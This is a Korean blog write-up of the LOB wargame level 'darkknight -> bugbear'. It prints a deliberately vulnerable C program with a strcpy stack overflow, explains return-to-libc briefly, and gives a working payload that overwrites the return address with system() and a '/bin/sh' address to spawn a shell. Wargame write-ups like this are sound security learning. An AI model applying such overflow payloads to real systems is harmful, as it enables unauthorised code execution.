[LOB] darkknight -> bugbear
2018. 4. 2. 17:17
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | /* The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack betrayed you!!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
힌트는 RTL! 이다 Return To Library!
스택이 배신했다.. 라이브러리로 가자
system함수의 주소이다.
system함수의 주소로 부터 찾은 "/bin/sh" 문자열의 주소이다.
payload : ./bugbear `python -c 'print("A"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40")'`
성공
'Wargame > LOB' 카테고리의 다른 글
[LOB] giant -> assassin (0) | 2018.04.02 |
---|---|
[LOB] bugbear -> giant (0) | 2018.04.02 |
[LOB] golem -> darkknight (0) | 2018.04.02 |
[LOB] skeleton -> golem (0) | 2018.04.01 |
[LOB] vampire -> skeleton (0) | 2018.04.01 |